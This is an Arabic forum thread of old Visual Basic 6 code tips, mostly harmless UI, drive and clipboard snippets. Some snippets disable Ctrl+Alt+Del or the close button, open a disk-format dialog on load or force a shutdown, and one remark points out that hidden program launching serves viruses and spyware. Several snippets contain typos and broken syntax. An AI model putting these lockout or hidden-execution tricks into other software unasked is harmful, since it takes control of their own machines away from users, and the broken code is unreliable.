حساب عدد حروف مربع نص

Private Sub Command1_Click()
MsgBox ("عدد الحروف = " + Str(Len(Text1.Text)))
End Sub

************************************************** *********************

تحريك صورة مع مؤشر الماوس

Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Picture1.Move X - 200, Y - 200
End Sub

************************************************** ********************

التأكد من عمل البرنامج من على الـ CD-ROM
Private Declare Function GetDriveType Lib "kernel32.dll" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long 

Private Sub Form_Load() 
Dim driveType As Long 
driveType = GetDriveType(Mid(App.Path, 1, 3)) 
If driveType <> 5 Then 
'إنهاء البرنامج إذا كان لايشتغل من القرص المدمج 
End 
End If 
End Sub

************************************************** ********************

تحريك الفورم عن طريق الماوس

Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
ReleaseCapture
SendMessage hwnd, WM_NCLBUTTONDOWN, HTCAPTION, 0&
End Sub

ونكتب في موديل Modell

Declare Function ReleaseCapture Lib "user32" () As Long
Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Const HTCAPTION = 2
Public Const WM_NCLBUTTONDOWN = &HA1

************************************************** *********************

رسم خطين متقاطعين حسب حركة الماوس

Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single) 
Me.Cls 
Line (X, 0)-(X, Me.ScaleHeight), vbRed 
Line (0, Y)-(Me.ScaleWidth, Y), vbGreen 
End Sub

************************************************** ********************

عكس اتجاه النص

Public Function reversestring(revstr As String) As String
Dim doreverse As Long
reversestring = ""
For doreverse = Len(revstr) To 1 Step -1
reversestring = reversestring & Mid$(revstr, doreverse, 1)
Next
End Function

Private Sub Command1_Click()
Dim strResult As String
strResult = reversestring(Text1.Text)
Text2.Text = strResult
End Sub

************************************************** ********************

إضافة حدث عند الضغط على زر الماوس الأيمن

Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single) 

IF BUTTON=2 THEN 
msgbox "الزر الأيمن للماوس" 
END IF 
End Sub

************************************************** *******************

معرفة نوع القرص (قرص مرن، صلب، سي دي روم ... الخ)

Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long

Private Sub Command1_Click()
Me.AutoRedraw = True
Select Case GetDriveType(Text1.Text & ":\")
Case 2
Form1.Caption = "قرص مرن"
Case 3
Form1.Caption = "قرص صلب"
Case Is = 4
Form1.Caption = "Remote"
Case Is = 5
Form1.Caption = "Cd-Rom"
Case Is = 6
Form1.Caption = "Ram disk"
Case Else
Form1.Caption = "غير معين"
End Select
End Sub

Private Sub Form_Load()
Command1.Caption = "أدخل رمز القرص الذي تريد معرفته"
End Sub

************************************************** ********************

معرفة معلومات عن القرص [مساحته، المستخدم، المتبقي ...الخ]

Private Declare Function GetDiskFreeSpaceEx Lib "kernel32" Alias "GetDiskFreeSpaceExA" (ByVal lpRootPathName As String, lpFreeBytesAvailableToCaller As Currency, lpTotalNumberOfBytes As Currency, lpTotalNumberOfFreeBytes As Currency) As Long

Private Sub Form_Load()

Dim r As Long, BytesFreeToCalller As Currency, TotalBytes As Currency
Dim TotalFreeBytes As Currency, TotalBytesUsed As Currency
Const RootPathName = "c:\"
Call GetDiskFreeSpaceEx(RootPathName, BytesFreeToCalller, TotalBytes, TotalFreeBytes)
Me.AutoRedraw = True
Me.Cls
Me.Print
Me.Print
Me.Print
Me.Print " Total Number Of Bytes:", Format$(TotalBytes * 10000, "###,###,###,##0") & " bytes"
Me.Print " Total Free Bytes:", Format$(TotalFreeBytes * 10000, "###,###,###,##0") & " bytes"
Me.Print " Free Bytes Available:", Format$(BytesFreeToCalller * 10000, "###,###,###,##0") & " bytes"
Me.Print " Total Space Used :", Format$((TotalBytes - TotalFreeBytes) * 10000, "###,###,###,##0") & " bytes"
End Sub

************************************************** *******************

إبطال مفعول زر X في النافذة

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Cancel = True
End Sub

************************************************** *******************

التحكم في حركة الماوس

Private Type POINTAPI
x As Long
y As Long
End Type
Private Declare Function ClientToScreen Lib "user32" (ByVal hwnd As Long, lpPoint As POINTAPI) As Long
Private Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long
Private Declare Function GetDeviceCaps Lib "gdi32" (ByVal hdc As Long, ByVal nIndex As Long) As Long

Dim P As POINTAPI
Private Sub Form_Load()

Command1.Caption = "Screen Middle"
Command2.Caption = "Form Middle"
'API uses pixels
Me.ScaleMode = vbPixels
End Sub
Private Sub Command1_Click()
'Get information about the screen's width
P.x = GetDeviceCaps(Form1.hdc, 8) / 2
'Get information about the screen's height
P.y = GetDeviceCaps(Form1.hdc, 10) / 2
'Set the mouse cursor to the middle of the screen
ret = SetCursorPos(P.x, P.y)
End Sub
Private Sub Command2_Click()
P.x = 0
P.y = 0
'Get information about the form's left and top
ret = ClientToScreen&(Form1.hwnd, P)
P.x = P.x + Me.ScaleWidth / 2
P.y = P.y + Me.ScaleHeight / 2
'Set the cursor to the middle of the form
ret = SetCursorPos&(P.x, P.y)
End Sub

************************************************** 
*******************

تغميق وتفتيح الصورة بشكل رائع


Option Explicit
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long
Private Declare Function DeleteDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Const SRCAND = &H8800C6
Private Const SRCCOPY = &HCC0020

'تغميق الصورة
Private Sub Command1_Click()
Dim lDC As Long
Dim lBMP As Long
Dim W As Integer
Dim H As Integer
Dim lColor As Long

Screen.MousePointer = vbHourglass

W = ScaleX(Picture1.Picture.Width, vbHimetric, vbPixels)
H = ScaleY(Picture1.Picture.Height, vbHimetric, vbPixels)
lBMP = CreateCompatibleBitmap(Picture1.hdc, W, H)
lDC = CreateCompatibleDC(Picture1.hdc)
Call SelectObject(lDC, lBMP)
BitBlt lDC, 0, 0, W, H, Picture1.hdc, 0, 0, SRCCOPY
Picture1 = LoadPicture("")

For lColor = 255 To 0 Step -3
Picture1.BackColor = RGB(lColor, lColor, lColor)
BitBlt Picture1.hdc, 0, 0, W, H, lDC, 0, 0, SRCAND
Sleep 15
Next
Call DeleteDC(lDC)
Call DeleteObject(lBMP)
Screen.MousePointer = vbDefault

End Sub

'تفتيح الصورة
Private Sub Command2_Click()
Dim lDC As Long
Dim lBMP As Long
Dim W As Integer
Dim H As Integer
Dim lColor As Long

Screen.MousePointer = vbHourglass

W = ScaleX(Picture1.Picture.Width, vbHimetric, vbPixels)
H = ScaleY(Picture1.Picture.Height, vbHimetric, vbPixels)
lBMP = CreateCompatibleBitmap(Picture1.hdc, W, H)
lDC = CreateCompatibleDC(Picture1.hdc)
Call SelectObject(lDC, lBMP)
BitBlt lDC, 0, 0, W, H, Picture1.hdc, 0, 0, SRCCOPY
Picture1 = LoadPicture("")

For lColor = 0 To 255 Step +3
Picture1.BackColor = RGB(lColor, lColor, lColor)
BitBlt Picture1.hdc, 0, 0, W, H, lDC, 0, 0, SRCAND
Sleep 15
Next
Call DeleteDC(lDC)
Call DeleteObject(lBMP)
Screen.MousePointer = vbDefault

End Sub

************************************************** ******************

معرفة اللون الذي يمر عليه الماوس

Option Explicit
Private Type POINTAPI
x As Long
y As Long
End Type
Private Declare Function GetPixel Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long) As Long
Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Private Declare Function GetWindowDC Lib "user32" (ByVal hwnd As Long) As Long
Private Sub Form_Load()
Timer1.Interval = 100
End Sub
Private Sub Timer1_Timer()
Dim tPOS As POINTAPI
Dim sTmp As String
Dim lColor As Long
Dim lDC As Long

lDC = GetWindowDC(0)
Call GetCursorPos(tPOS)
lColor = GetPixel(lDC, tPOS.x, tPOS.y)
Label1.BackColor = lColor

sTmp = Right$("000000" & Hex(lColor), 6)
Caption = "R:" & Right$(sTmp, 2) & " G:" & Mid$(sTmp, 3, 2) & " B:" & Left$(sTmp, 2)
End Sub 


وداه الجزاء الثالث

PHP كود :

هذا الكود لعمل فورم رخامي 
ضع هذا الكود في قسم التصريحات General 
Private Sub GradientFill() 
Dim i As Long 
Dim c As Integer 
Dim r As Double 
r = ScaleHeight / 3.142 
For i = 0 To ScaleHeight 
c = Abs(220 * Sin(i / r)) 
Me.Line (0, i)-(ScaleWidth, i), RGB(c, c, c + 30) 'Notice the bias To blue. You can be more subtle by reducing this number (try 10). Try other colours too. 
Next 
End Sub 
وهذا الكود في حدث Resize للفورم 
GradientFill 

.......................................................................... 
هذه الدالة لتحميل صفحة من الإنترنت 
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long 
Private Sub Command1_Click() 
lngRetVal = URLDownloadToFile(0, "http://www.الموقع.com", "c:\الموقع.htm", 0, 0) 
End Sub 

....................................................................... 
هذه الدالة تقوم بنقل ملف من مسار إلى مسار آخر 
Private Declare Function MoveFile Lib "kernel32" Alias "MoveFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String) As Long 
Private Sub Command1_Click() 
MoveFile "c:\Windows\Desktop\a.txt", "c:\a.txt" 
End Sub 

........................................................................... 
هذه الدالة تقوم بتعطيل زر إغلاق Close الذي يوجد في كل نافذة 
Private Declare Function GetSystemMenu Lib "user32" (ByVal hwnd As Long, ByVal bRevert As Long) As Long 
Private Declare Function GetMenuItemCount Lib "user32" (ByVal hMenu As Long) As Long 
Private Declare Function RemoveMenu Lib "user32" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long) As Long 
Const MF_BYPOSITION = &H400& 
Private Sub Form_Load() 
Dim a As Long, b As Long 
a = GetSystemMenu(Me.hwnd, False) 
b = GetMenuItemCount(a) 
RemoveMenu a, b - 1, MF_BYPOSITION 
DrawMenuBar Me.hwnd 
End Sub 

.......................................................................... 
هذه الدالة لتغيير ألوان الواجهة للويندوز 
Private Declare Function SetSysColors Lib "user32" (ByVal nChanges As Long, lpSysColor As Long, lpColorValues As Long) As Long 
Private Declare Function GetSysColor Lib "user32" (ByVal nIndex As Long) As Long 
Const COLOR_ACTIVECAPTION = 2 
Private Sub Form_Load() 
a = GetSysColor(COLOR_ACTIVECAPTION) 
SetSysColors 1, COLOR_ACTIVECAPTION, RGB(255, 200, 140) 
MsgBox "The old title bar color was" + Str$(a) + " And is now" + Str$(GetSysColor(COLOR_ACTIVECAPTION)) 
End Sub 

........................................................................ 
هذه الدالة تعرض مربع حوار تهيئة القرص المرن 
Const SHFD_CAPACITY_DEFAULT = 0 
Const SHFD_FORMAT_QUICK = 0 
Private Declare Function SHFormatDrive Lib "shell32" (ByVal hwndOwner As Long, ByVal iDrive As Long, ByVal iCapacity As Long, ByVal iFormatType As Long) As Long 
Private Sub Form_Load() 
SHFormatDrive Me.hwnd, 0, SHFD_CAPACITY_DEFAULT, SHFD_FORMAT_QUICK 
End Sub 

........................................................................ 
هذا الكود يقوم بإخبارك هب يوجد كرت صوت أم لا أي هل تستطيع تشغيل ملفات الأصوات في جهازك 
ضع هذا الكود في الموديل Module 
Declare Function waveOutGetNumDevs Lib "winmm.dll" () As Long 
اضف زر Command وضع فيه الكود التالي 
Dim i As Integer 
i = waveOutGetNumDevs() 
If i > 0 Then 
MsgBox "بالإمكان تشغيل ملفات الأصوات في جهازك", _ 
vbInformation, "التأكد من وجود كرت الصوت" 
Else 
MsgBox "ليس بالإمكان تشغيل ملفات الأصوات في جهازك", _ 
vbInformation, "التأكد من وجود كرت الصوت" 
End If 
........................................................................ 
هل تريد التعرف على خصائص الطابعة أي هل تريد إظهار نافذة خصائص الطابعة إتبع ما يلي : 
إضغط على ctrl+t 
إختر من النافذة التي سوف تظهر لك Microsoft Common Dialog وذلك بوضع أمامه صح ثم OK 
أضفه في الفورم واكتب الكود التالي في حدث الضغط على زر 
Dim BeginPage, EndPage, NumCopies, i 
CommonDialog1.CancelError = True 
On Error GoTo ErrHandler 
CommonDialog1.ShowPrinter 
BeginPage = CommonDialog1.FromPage 
EndPage = CommonDialog1.ToPage 
NumCopies = CommonDialog1.Copies 
For i = 1 To NumCopies 
Next i 
Exit Sub 
ErrHandler: 
Exit Sub 

........................................................................... 
هذا الكود يقوم بجمع الأرقام الموجود في Text1 و Text2 ويضع الناتج في Label1 
Label1.Caption = Val(Text1.Text) + Val(Text2.Text) 

وهذا الكود يقوم بطرح ال Text1 من ال Text2 ويضع الناتج في ال Label1 
Label1.Caption = Val(Text1.Text) - Val(Text2.Text) 

هذا الكود يقوم بضرب Text1 بـ Text2 ويضع الناتج في ال Label1 
Label1.Caption = Val(Text1.Text) * Val(Text2.Text) 

هذا الكود يقوم بقسمة Text1 على Text2 ويضع الناتج في ال Label1 
Label1.Caption = Val(Text1.Text) / Val(Text2.Text) 

........................................................................ 
هذا الكود لمعرفة البارامترات التي يتم تمريرها للبرنامج في سطر الأوامر : 

Function GetCommandLine(Optional MaxArgs) 
Dim C, CmdLine, CmdLnLen, InArg, I, NumArgs 
If IsMissing(MaxArgs) Then 
MaxArgs = 10 
End If 
ReDim ArgArray(MaxArgs) 
NumArgs = 0: 
InArg = False 
CmdLine = Command() 
CmdLnLen = Len(CmdLine) 
For I = 1 To CmdLnLen 
C = Mid(CmdLine, I, 1) 
If (C <> " " And C <> vbTab) Then 
If Not InArg Then 
If NumArgs = MaxArgs Then 
Exit For 
End If 
NumArgs = NumArgs + 1 
InArg = True 
End If 
ArgArray(NumArgs) = ArgArray(NumArgs) & C 
Else 
InArg = False 
End If 
Next I 
ReDim Preserve ArgArray(NumArgs) 
GetCommandLine = ArgArray() 
End Function 


Private Sub Form_Activate() 
Dim I 
s = GetCommandLine 
For I = 1 To UBound(s) 
Print s(I) 
Next I 
End Sub 

........................................................................ 
كيف تضع محتويات ملف في ليستا 

Private Sub Command1_Click() 
Dim StringHold As String 

Open "C:\test.txt" For Input As #1 

List1.Clear 
While Not EOF(1) 
Input #1, StringHold 
List1.AddItem StringHold 
Wend 
Close #1 
End Sub 

......................................................................... 
كيف تعرف اذا تم تغيير محتويات TextBox 

Private bChanged As Boolean 

Private Sub Text1_Change() 
bChanged = True 
End SubPrivate 

Sub Form_Unload(Cancel As Boolean) 
If bChanged Then 
If Msgbox("Save Changes?", vbYesNo, "Save") = vbYes Then 
'Save Changes Here. 
End If 
End If 
End Sub 

........................................................................... 
كيف تصنع قائمة فرعية من خلال زر امر 

First, create a menu with the menu editor. 
It should look like this: 

Button Menu (Menu name: mnuBtn, Visible: False - Unchecked) 
....SubMenu Item 1 (Menu name: mnuSub, Index: 0) 
....SubMenu Item 2 (Menu name: mnuSub, Index: 1) 
....SubMenu Item 3 (Menu name: mnuSub, Index: 2) 
....SubMenu Item 4 (Menu name: mnuSub, Index: 3) 

I hope you understand the above. Also create a CommandButton. 

Then add this code: 

Private Sub mnuSub_Click(Index As Integer) 
Call MsgBox("Menu sub-item " & Index + 1 & " clicked!", _ 
vbExclamation) 
End Sub 

Private Sub Command1_Click() 
Call PopupMenu(mnuBtn) 
End Sub 

P.S. For added effect, replace the line: 

Call PopupMenu(mnuBtn) 

With this one: 

Call PopupMenu(Menu:=mnuBtn, X:=Command1.Left, Y:=Command1.Top + _ 
Command1.Height) ' Even more viola! 

Or this one: 

Call PopupMenu(mnuBtn, vbPopupMenuCenterAlign, Command1.Left + _ 
(Command1.Width / 2), Command1.Top + Command1.Height 

........................................................................... 
نسخ محتويات مربع نص الى مربع نص اخر 

If you have VB6.0 you can use the Replace Function to 
easily replace any Character(s) with something else, eg. 

Text2 = Replace(Text1, vbCrLf, "" & vbCrLf) 

Otherwise, you'll need to step though the Text yourself 
checking for instances of vbCrLf, e.g. 


code: 

Dim sString As String 
Dim sNewString As Strings 

String = Text1 
While Instr(sString, vbCrLf) 
sNewString = sNewString & Left(sString, _ 
Instr(sString, vbCrLf) - 1) & "" & vbCrLf 
sString = Mid(sString, Instr(sString, vbCrLf) + 2) 
Wend 


وده الجزاء الربع
[php]
) أكواد الحافظة....
الحافظة في الفيجوال بيسك تأخذ الأسم Clipboard ، حيث يتم ربط توابع معينة بهذا
الكائن لكي تتم أوامر الحافظة...سأكتب الأكواد على فرض أن لدينا صندوق نص اسمه
txtMyText...

*** كود القص:
Clipboard.clear
Clipboard.SetText txtMyText.SelText
txtMyText.SelText=""

إن المنهج Clear يقوم بتفرغة كل محتويات الحافظة... كما يقوم الأمر SetText بإضافة النص المحدد إلى الحافظة... و إذا أردنا معرفة ما تحملة العبارة التالية txtMyText.SelText فهي تحمل قيمة النص المحدد... أي أن SelText تشير إلى النص المحدد...
ثم في العبارة الأخيرة، نحذف النص المحدد لكي تتم عملية القص...

*** كود النسخ:
Clipboard.clear
Clipboard.SetText txtMyText.SelText

هذا الكود يماثل تماما الكود السابق، لكن الفرق أننا لا نقوم بحذف النص المحدد و الذي نود نسخه...

*** كود اللصق:
txtMyText.SelText=ClopBoard.GetText( )

إن العبارة ClipBoard.GetText() تحمل قيمة النص الموجود في الحافظة.... و نحن نأمر الجهاز في هذا الكود بوضع قيمة الحافظة مكان النص المحدد...

2) كود الأحداث المعلقة:
من المؤكد أنكم تتسائلون " ما هي الأحداث المعلقة؟ "، أنا سأشرح لكم...
إن بعض البرامج تحتوي على Loop أي حلقة ... و لهذه الحلقة أشكال كثيرة، أشهرها و
أكثرها شيوعا:
For I=0 to 100
.......
.....
.......
if I=100 then I=0
next I

إذا قمنا بتحليل عمل هذا البرنامج، نتوصل إلى انه سيقوم بتنفيذ الأوامر الموجودة داخل الحلقة إلى ما لا نهاية... و بذلك، فإن أي حدث تقوم بتنفيذه خلال عمل هذه الحلقة فإنه لن يستجيب.....
أعرف أنكم لم تفهموا، سأوسع الشرح...
لنفرض أنه لدينا برنامج يقوم برسم نقاط عشوائية على نموذج معين، و هذه النقاط غير منتهية.... و لدينا زري أوامر، الأول للبدء الحلقة، و الثاني لإنهاءها...
إذا ضغطنا زر البدء، فإن الحلقة ستبدأ إلى ما لا نهاية.... و سترسم نقاطا على النموذج إلى ما لا نهاية... فعند القيام بحدث الضغط على زر إنهاء الحلقة، فأنه لن يستجيب أبدا، و ذلك بسبب عمل الحلقة.... فما الحل إذن...
يوجد تابع خاص لهذه المشكلة و هو DoEvents... عند وضع هذا التابع ضمن الحلقة، فإنه ينفذ الحدث الذي قمت به، ثم يكمل تنفيذ الحلقة....

3) كود تنفيذ أي برنامج عن طريق الفيجوال بيسك:
إذا أردت أن تشغل إي برنامج في جهازك عن طريق الفيجوال بيسك، اكتب العبارة التالية....
Dim A
A = Shell ("programpath",n)

حيث A متغير... و اكتب مكان الــ programpath مسار البرنامج كاملا، و اكتب مكان n رقم من 0 إلى 6، حيث كل رقم له دلالته...

0 تظهر نافذة البرنامج مخفية.
1 تظهر نافذة البرنامج بحجمها الطبيعي و معها التركيز.
2 تظهر النافذة مصغرة و معها التركيز.
3 تظهر النافذة مكبرة و ومعها التركيز.
4 تظهر نافذة عادية و بدون تركيز.
6 تظهر نافذة مصغرة بدون تركيز.

و إن التابع Shell يرجع قيمة عددية تحفظ في المتغير A تشير إلى مقبض النافذة الذي يعترف عليه Windows

ملاحظة: الفائدة من وضع القيمة 0 للمتغير n ، هي لظهور النافذة مخفية، و بالتالي يتم تحميل النافذة في الذاكرة دون أن نراها. و نستغيد من هذه الحالة في تشغيل ملف تنفيذي لكي يؤدي وظائف معينة دون أن يشاهد المستخدم نافذة البرنامج (برامج الفيروسات و التجسس)

4) كود للقيام باتصال هاتفي:
يجب أولا تضمين أداة جديدة و هي MSComm، و ذلك بالخطوات التالية:
* اضغط بزر اليمين على مكان فارغ شريط الأدوات.
* اختر الخيار Components
* اختر الأداة MSComm من القائمة و اضغط على الزر موافق.
* ستظهر لك أداة جديدة لها شكل الهاتف على شريط الأدوات.

بعد تضمين هذه الأداة في النموذج، نسميها على سبيل المثال Comm1....
و إليك الكود:
Dim PhoneNumber as String
On Error Goto WrongPort
Comm1.CommPort = 1
Comm1.Settings = "300,n,8,1"
PhoneNumber = "164883"
Comm1.PortOpen = True
Comm1.OutPut = "ATDT" + PhoneNumber + Chr$(13)Sub
WrongPort:
MsgBox "Title", 1048576 + 524288 + 16, "Prompt"

الشرح:
في السطر الأول: نعرف متغير حرفي و هو PhoneNumber
في السطر الثاني: نضع هذه العبارة بحيث في حال حدوث أي خطأ ( مثلا المودم غير
متصل، أو المنفذ غير صحيح ) ينتقل التنفيذ إلى السطر الثامن حيث
الإجراء . طبعا يمكن تسمة WrongPort كما نشاء.
في السطر الثالث: نحدد البورت الذي سنجري منه الإتصال. يفضل أن تقوم بتجربة البرنامج
عدة مرات بتغيير البورت (1، 2، 3، 4، 5، 6، 7 ) حتى تصل للبورت
الصحيح.
في السطر الرابع: نحدد إعدادات الإتصال. ضعها كما هي موجودة في هذا الكود، لأن
شرحها معقد نوعا ما.
في السطر الخامس: نكتب رقم الهاتف المراد طلبه.
في السطر السادس: يفتح البورت الذي حددته.
في السطر السابع: تنتقل البيانات عبر خط الهاتف مع بعض الشيفرات.
في السطر الثامن: ينتهي تنفيذ الأوامر.
في السطر التاسع: يوجد الإجراء الذي ينتقل أليه التنفيذ عند حدوث خطأ.
في السطر العاشر: تظهر رسالة الخطأ التي عنوانها Title و نصها هو Prompt.
يمكن تغيير هذه القيم كما تشاء.

و الأن تم الإتصال، و ماعليك سوى التكلم عن طريق الهيدفون أو الهاتف.
لقطع الإتصال: ضع الكود التالي:
Comm1.PortOpen = False
حيث يقوم هذا السطر بإغلاق المنفذ.

5) كود لإيقاف تشغيل ويندوز:
ننشئ نافذة جديدة من النوع Module و نكتب فيها السطر التالي:
Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags as Long, By Val dwReserved As Long) As Long

و لكن انتبه، اكتبه في سطر واحد، و ليس في سطرين...
و الأن في النموذج، ضمن أزرارا لإيقاف التشغيل، و أعادت التشغيل، و إنهاء كافة العمليات البرمجية، و أنهاء كافة العمليات البرمجية التي لا تستجيب.
و اكتب الكود التالي لكل زر:
Dim LonStatus
LonStatus = ExitWindowsEx (Flag, n)

اكتب إحدى الأرقام التالية للمتغير n:
0 لإنهاء كافة العمليات البرمجية.
1 لإيقاف التشغيل.
2 لإعادة التشغيل.
4 ينهي كافة العمليات البرمجية التي لا تستجيب.

...........................................................................

كود لابطال عملية ctrl+alt+del
ضع هذا الكود في قسم التعريفات

Private Declare Function SystemParametersInfo Lib _
"user32" Alias "SystemParametersInfoA" (ByVal uAction _
As Long, ByVal uParam As Long, ByVal lpvParam As Any, _
ByVal fuWinIni As Long) As Long
Sub DisableCtrlAltDelete(bDisabled As Boolean)
Dim X As Long
X = SystemParametersInfo(97, bDisabled, CStr(1), 0)
End Sub

لإبطال عمل المفاتيح ضع السطر التالي في المكان المناسب
Call DisableCtrlAltDelete(True)

لإعادة عمل المفاتيح ضع السطر التالي في المكان المناسب
Call DisableCtrlAltDelete(False)

..........................................................................

كود هـل الملف موجود أم لا ؟
قد يحتاج برنامجك في بعض الأحيان أن يعرف عن أحد الملفات كونه موجوداً على القرص أم لا ، يمكن عمل ذلك باستخدام الأسطر التالية :
If Dir(myfilename, vbNormal or vbReadOnly or vbHidden or vbSystem or vbArchive) = "" then
Msgbox "الملف غير موجود"
Else
Msgbox "الملف موجود" --
ش
End If
..........................................................................

تخصيص مفتاح HotKey لصندوق نص
يمكنك تخصيص مفتاح ساخن HotKey لصندوق نص TextBox بالطريقة التالية : أنشيء أداة من نوع Label و ضع لها المفتاح الساخن الذي تريده لصندوق النص ثم عدل خاصية TabIndex لها لتكون أقل بواحد من قيمة نفس الخاصية في صندوق النص ( مثال : إذا كانت قيمة TabIndex لصندوق النص هي 4 فاجعل قيمتها للأداة من نوع Label الرقم 3 )
.......................................................................

كيف تجعل النص يظهر بشكل عمودي في الأداة Label
يمكن عمل ذلك باستخدام الرمز vbCrLf ، حيث يوضع بعد كل حرف في محتوى الأداة Label كما يلي :
Private Sub Form_Activate()
Dim s As String
For i = 1 To Len(Label1)
s = s & Mid$(Label1, i, 1) & vbCrLf
Next
Label1 = s
End Sub
.......................................................................

كيفية إغلاق ويندوز من داخل البرنامج أو إعادة تشغيلها
قد تحتاج في بعض البرامج أن تقوم بإعادة تشغيل ويندوز بعد قيام المستخدم بتعديل بعض الخيارات أو لدواع أمنية أو غير ذلك

لعمل ذلك ألصق الأسطر التالية في قسم التعريفات من برنامجك
Declare Function ExitWindowsEx Lib "user32" Alias _
"ExitWindowsEx" (ByVal uFlags As Long, ByVal dwReserved _
As Long) As Long
وفي المكان المناسب ، ضع السطر التالي و الذي يقوم بإغلاق ويندوز
t& = ExitWindowsEx(EWX_REBOOT, 0)

........................................................................
تحديد النص في صندوق النص ذاتياً
تلاحظ في بعض البرامج عند انتقال التركيز من أداة ما على النافذة إلى صندوق نص يحتوي على نص فإنه يتم تحديد النص ذاتياً ، للحصول على ذلك في برنامجك قم بكتابة النص التالي في المكان المناسب ليتم تحديد النص.
Text1.SelStart = 0
Text1.SelLength = Len(Text1)

.........................................................................
إخفاء مؤشر الفأرة في تطبيق فيجوال بيسك
تستطيع إخفاء مؤشر الفأرة في موضع معين من برنامجك باستخدام الدالة ShowCursor و التي يتم تعريفها في قسم التعريفات أعلى البرنامج لأنها من دوال واجهة برمجة التطبيقات API على النحو التالي :

Private Declare Function ShowCursor Lib "user32" _
(ByVal bShow As Long) As Long

ومن ثم تستطيع اخفاء المؤشر بتنفيذ الدالة بالشكل التالي
x = ShowCursor(False)

تستطيع إعادة إظهار المؤشر بتنفيذ الدالة بالشكل التالي
x = ShowCursor(True)
..........................................................................



هل يحتوي مشغل الأقراص المدمجة على قرص أم لا ؟؟
تستطيع من خلال إضافة السطور التالية إلى برنامجك تحديد ما إذا كان مشغل الأقراص المدمجة يحتوي على قرص أم لا.
Dim FSO As FileSystemObject
Dim aDrive As Drive
Set FSO = New FileSystemObject
For Each aDrive In FSO.Drives
If aDrive.DriveType = CDRom And aDrive.IsReady = False Then
MsgBox "لا يوجد قرص في المشغل"
Exit For
ElseIf aDrive.DriveType = CDRom Then
MsgBox aDrive.VolumeName
Exit For
End If
Next
Set FSO = Nothing

........................................................................
تحديد ما إذا كان تاريخان في نفس الشهر أم لا
تستطيع أن تحدد في برنامجك ما إذا كان تاريخان مدخلان يقعان في نفس الشهر أم لا باستخدام الدالة DateDiff

المثال التالي يوضح كيفية ذلك
Date1 = "01/02/1999"

Date2 = "15/02/1999"

If DateDiff("m", Date1, Date2) Then
MsgBox "التاريخان في شهرين مختلفين"
Else
MsgBox "التاريخان في نفس الشهر"

[ابراهيم ايبو]

بارك الله فيك وجزاك كل الخير

[كمال ابوخليط]

السلام عليكم 



محتاج كود انشاء مستخدم ورقم سري
وكود اخفاء ادوات الاكسس
ودكود انشاء زر للمسح الضوئي 
منظومة اكسس

[كمال ابوخليط]

السلام عليكم 



محتاج كود انشاء مستخدم ورقم سري
وكود اخفاء ادوات الاكسس
ودكود انشاء زر للمسح الضوئي 
منظومة اكسس